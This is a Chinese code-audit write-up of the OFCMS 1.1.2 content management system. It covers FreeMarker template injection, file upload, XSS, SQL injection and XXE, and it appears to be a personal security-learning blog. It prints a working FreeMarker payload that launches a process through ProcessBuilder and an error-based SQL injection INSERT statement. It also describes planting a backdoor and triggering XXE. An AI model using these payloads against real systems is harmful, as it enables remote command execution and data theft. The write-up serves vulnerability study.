OFCMS代码审计-freemaker注入sql注入xxexss文件上传
环境搭建
下载地址:https://gitee.com/oufu/ofcms/repository/archive/V1.1.2?format=zip
SSTI模板注入(freemaker)
FreeMarker模板注入实现远程命令执行 - Eleven_Liu - 博客园
在admin中找到这个
发现请求的是这个
找到他
<#assign value="freemarker.template.utility.ObjectConstructor"?new()>${value("java.lang.ProcessBuilder","calc.exe").start()}
这么输入然后保存
刷新
文件上传
查看源代码可以发现
这个是通过新建file来改文件的所以我们可以直接从后端来改
改成后门就可以造成文件上传漏洞
XSS
56:代码审计-JAVA项目Filter过滤器及XSS挖掘 - zhengna - 博客园
先看看
有没有xssfilter过滤器
发现都只存在与前端,那就相当于没有了
那直接随便找就可以找到xss了
sql注入
跟普通的sql注入不一样,他是直接执行sql语句,不是直接的参数传入
直接跟进到代码
int update(Config config, Connection conn, String sql, Object... paras) throws SQLException {PreparedStatement pst = conn.prepareStatement(sql);//做了预编译,但是没有传入参数所以没有用config.dialect.fillStatement(pst, paras);int result = pst.executeUpdate();//这里直接执行传入的sql语句DbKit.close(pst);return result;
}
注意这个是excuteupdata所以他只会执行这种update,insert,delete这种函数,而且不会有回显,就相当于直接执行sql语句
成功操作,由于没有回显所以我们得使用报错注入
INSERT INTO of_sys_user_site (user_role_id, role_id, site_id, status) VALUES (6, extractvalue(1,concat(0x7e,user(),0x7e,version(),0x7e)), 6,5);
XXE漏洞
JRXmlloader
首先先搜索jrxmlloader
看这些类之中有哪个实现这个代码的
这里有个小技巧:因为这些类都是导入的jar包内部的,这说明,不是每个类和方法都会被使用到;
与之不同的则是项目自己写的类和方法,一般都会被用到。
因此:我们可以先查找类中方法的调用,确定有没有使用到,没有使用到就不用管了,这样可以节省大量的时间。
发现到一个,而且被writeapi调用
可以看到,同类下的execute()
方法对其有调用,但是通过查找execute()
的调用,发现并没有被使用。因此,此处就不需要再往下进行了。
例如:
找到一个这个,find in usages
发现被这么调用
找到前端调用的接口、
先上传一个文件到这个目录下
写入xxe的文件
成功反弹
xmlreader
也是像上面的方法一样一起找
找到了这个类
但是找使用run的类发现有很多,但是不是由run传进来的,就不知这个方法的参数是否可以调用
发现是从这里调用的
博主累了,后面就先不分析了